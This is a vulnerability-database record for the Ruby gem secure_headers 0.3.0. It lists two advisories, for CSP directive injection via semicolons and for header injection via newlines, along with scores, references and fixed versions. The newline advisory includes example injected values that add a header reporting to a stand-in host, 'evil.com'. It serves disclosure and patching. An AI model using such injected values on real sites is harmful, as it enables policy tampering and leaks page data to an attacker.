Lookup for vulnerable packages by Package URL.

Purlpkg:gem/secure_headers@0.3.0
Typegem
Namespace
Namesecure_headers
Version0.3.0
Qualifiers
Subpath
Is_vulnerabletrue
Next_non_vulnerable_version3.9.0
Latest_non_vulnerable_version6.3.0
Affected_by_vulnerabilities
0
url VCID-f7yt-1t4f-ufhx
vulnerability_id VCID-f7yt-1t4f-ufhx
summary
secure_headers directive injection using semicolon
If user-supplied input was passed into append/override_content_security_policy_directives,
a semicolon could be injected leading to directive injection.

This could be used to e.g. override a script-src directive. Duplicate directives are ignored
and the first one wins. The directives in secure_headers are sorted alphabetically so they
pretty much all come before script-src. A previously undefined directive would receive a value
even if SecureHeaders::OPT_OUT was supplied.

The fixed versions will silently convert the semicolons to spaces and emit a deprecation warning
when this happens. This will result in innocuous browser console messages if being
exploited/accidentally used. In future releases, we will raise application errors resulting in
500s.

> Duplicate script-src directives detected. All but the first instance will be ignored.

See https://www.w3.org/TR/CSP3/#parse-serialized-policy

> Note: In this case, the user agent SHOULD notify developers that a duplicate directive was
> ignored. A console warning might be appropriate, for example.

# Workarounds

If you are passing user input into the above methods, you could filter out the input:

```
override_content_security_policy_directives(:frame_src, [user_input.gsub(";", " ")])
```
references
0
reference_url https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2020-5217.json
reference_id
reference_type
scores
0
value 5.8
scoring_system cvssv3
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:L/A:N
url https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2020-5217.json
1
reference_url https://api.first.org/data/v1/epss?cve=CVE-2020-5217
reference_id
reference_type
scores
0
value 0.00521
scoring_system epss
scoring_elements 0.67202
published_at 2026-06-04T12:55:00Z
url https://api.first.org/data/v1/epss?cve=CVE-2020-5217
2
reference_url https://github.com/rubysec/ruby-advisory-db/blob/master/gems/secure_headers/CVE-2020-5217.yml
reference_id
reference_type
scores
0
value 4.4
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:L/I:L/A:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
url https://github.com/rubysec/ruby-advisory-db/blob/master/gems/secure_headers/CVE-2020-5217.yml
3
reference_url https://github.com/twitter/secure_headers
reference_id
reference_type
scores
0
value 4.4
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:L/I:L/A:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
url https://github.com/twitter/secure_headers
4
reference_url https://github.com/twitter/secure_headers/commit/936a160e3e9659737a9f9eafce13eea36b5c9fa3
reference_id
reference_type
scores
0
value 4.4
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:L/I:L/A:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
url https://github.com/twitter/secure_headers/commit/936a160e3e9659737a9f9eafce13eea36b5c9fa3
5
reference_url https://github.com/twitter/secure_headers/issues/418
reference_id
reference_type
scores
0
value 4.4
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:L/I:L/A:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
url https://github.com/twitter/secure_headers/issues/418
6
reference_url https://github.com/twitter/secure_headers/pull/421
reference_id
reference_type
scores
0
value 4.4
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:L/I:L/A:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
url https://github.com/twitter/secure_headers/pull/421
7
reference_url https://github.com/twitter/secure_headers/security/advisories/GHSA-xq52-rv6w-397c
reference_id
reference_type
scores
0
value 4.4
scoring_system cvssv3
scoring_elements
1
value 4.4
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:L/I:L/A:N
2
value MODERATE
scoring_system generic_textual
scoring_elements
url https://github.com/twitter/secure_headers/security/advisories/GHSA-xq52-rv6w-397c
8
reference_url https://bugzilla.redhat.com/show_bug.cgi?id=1801264
reference_id 1801264
reference_type
scores
url https://bugzilla.redhat.com/show_bug.cgi?id=1801264
9
reference_url https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=949999
reference_id 949999
reference_type
scores
url https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=949999
10
reference_url https://nvd.nist.gov/vuln/detail/CVE-2020-5217
reference_id CVE-2020-5217
reference_type
scores
0
value 4.4
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:L/I:L/A:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
url https://nvd.nist.gov/vuln/detail/CVE-2020-5217
11
reference_url https://access.redhat.com/errata/RHSA-2020:4366
reference_id RHSA-2020:4366
reference_type
scores
url https://access.redhat.com/errata/RHSA-2020:4366
fixed_packages
0
url pkg:gem/secure_headers@3.8.0
purl pkg:gem/secure_headers@3.8.0
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-mr8k-d23n-e3c6
resource_url http://public2.vulnerablecode.io/packages/pkg:gem/secure_headers@3.8.0
1
url pkg:gem/secure_headers@5.1.0
purl pkg:gem/secure_headers@5.1.0
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-mr8k-d23n-e3c6
resource_url http://public2.vulnerablecode.io/packages/pkg:gem/secure_headers@5.1.0
2
url pkg:gem/secure_headers@6.2.0
purl pkg:gem/secure_headers@6.2.0
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-mr8k-d23n-e3c6
resource_url http://public2.vulnerablecode.io/packages/pkg:gem/secure_headers@6.2.0
aliases CVE-2020-5217, GHSA-xq52-rv6w-397c
risk_score 3.1
exploitability 0.5
weighted_severity 6.2
resource_url http://public2.vulnerablecode.io/vulnerabilities/VCID-f7yt-1t4f-ufhx
1
url VCID-mr8k-d23n-e3c6
vulnerability_id VCID-mr8k-d23n-e3c6
summary
secure_headers header injection due to newline
If user-supplied input was passed into append/override_content_security_policy_directives,
a newline could be injected leading to limited header injection.

Upon seeing a newline in the header, rails will silently create a new Content-Security-Policy
header with the remaining value of the original string. It will continue to create new headers
for each newline.

e.g.

```
override_content_security_directives(script_src: ['mycdn.com', "\ninjected\n"])
```

would result in

```
Content-Security-Policy: ... script-src: mycdn.com
Content-Security-Policy: injected
Content-Security-Policy: rest-of-the-header
```

CSP supports multiple headers and all policies must be satisfied for execution to occur, but a malicious value that reports the current page is fairly trivial:

```
override_content_security_directives(script_src: ["mycdn.com", "\ndefault-src 'none'; report-uri evil.com"])
```

```
Content-Security-Policy: ... script-src: mycdn.com
Content-Security-Policy: default-src 'none'; report-uri evil.com
Content-Security-Policy: rest-of-the-header
```

Workarounds
```
override_content_security_policy_directives(:frame_src, [user_input.gsub("\n", " ")])
```
references
0
reference_url https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2020-5216.json
reference_id
reference_type
scores
0
value 5.8
scoring_system cvssv3
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:L/A:N
url https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2020-5216.json
1
reference_url https://api.first.org/data/v1/epss?cve=CVE-2020-5216
reference_id
reference_type
scores
0
value 0.00347
scoring_system epss
scoring_elements 0.57521
published_at 2026-06-04T12:55:00Z
url https://api.first.org/data/v1/epss?cve=CVE-2020-5216
2
reference_url https://github.com/rubysec/ruby-advisory-db/blob/master/gems/secure_headers/CVE-2020-5216.yml
reference_id
reference_type
scores
0
value 4.4
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:L/I:L/A:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
url https://github.com/rubysec/ruby-advisory-db/blob/master/gems/secure_headers/CVE-2020-5216.yml
3
reference_url https://github.com/twitter/secure_headers
reference_id
reference_type
scores
0
value 4.4
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:L/I:L/A:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
url https://github.com/twitter/secure_headers
4
reference_url https://github.com/twitter/secure_headers/commit/301695706f6a70517c2a90c6ef9b32178440a2d0
reference_id
reference_type
scores
0
value 4.4
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:L/I:L/A:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
url https://github.com/twitter/secure_headers/commit/301695706f6a70517c2a90c6ef9b32178440a2d0
5
reference_url https://github.com/twitter/secure_headers/security/advisories/GHSA-w978-rmpf-qmwg
reference_id
reference_type
scores
0
value 4.4
scoring_system cvssv3
scoring_elements
1
value 4.4
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:L/I:L/A:N
2
value MODERATE
scoring_system generic_textual
scoring_elements
url https://github.com/twitter/secure_headers/security/advisories/GHSA-w978-rmpf-qmwg
6
reference_url https://bugzilla.redhat.com/show_bug.cgi?id=1801286
reference_id 1801286
reference_type
scores
url https://bugzilla.redhat.com/show_bug.cgi?id=1801286
7
reference_url https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=949998
reference_id 949998
reference_type
scores
url https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=949998
8
reference_url https://nvd.nist.gov/vuln/detail/CVE-2020-5216
reference_id CVE-2020-5216
reference_type
scores
0
value 4.4
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:L/I:L/A:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
url https://nvd.nist.gov/vuln/detail/CVE-2020-5216
9
reference_url https://access.redhat.com/errata/RHSA-2020:4366
reference_id RHSA-2020:4366
reference_type
scores
url https://access.redhat.com/errata/RHSA-2020:4366
fixed_packages
0
url pkg:gem/secure_headers@3.9.0
purl pkg:gem/secure_headers@3.9.0
is_vulnerable false
affected_by_vulnerabilities
resource_url http://public2.vulnerablecode.io/packages/pkg:gem/secure_headers@3.9.0
1
url pkg:gem/secure_headers@5.2.0
purl pkg:gem/secure_headers@5.2.0
is_vulnerable false
affected_by_vulnerabilities
resource_url http://public2.vulnerablecode.io/packages/pkg:gem/secure_headers@5.2.0
2
url pkg:gem/secure_headers@6.0.0.alpha01
purl pkg:gem/secure_headers@6.0.0.alpha01
is_vulnerable false
affected_by_vulnerabilities
resource_url http://public2.vulnerablecode.io/packages/pkg:gem/secure_headers@6.0.0.alpha01
3
url pkg:gem/secure_headers@6.3.0
purl pkg:gem/secure_headers@6.3.0
is_vulnerable false
affected_by_vulnerabilities
resource_url http://public2.vulnerablecode.io/packages/pkg:gem/secure_headers@6.3.0
aliases CVE-2020-5216, GHSA-w978-rmpf-qmwg
risk_score 3.1
exploitability 0.5
weighted_severity 6.2
resource_url http://public2.vulnerablecode.io/vulnerabilities/VCID-mr8k-d23n-e3c6
Fixing_vulnerabilities
Risk_scorenull
Resource_urlhttp://public2.vulnerablecode.io/packages/pkg:gem/secure_headers@0.3.0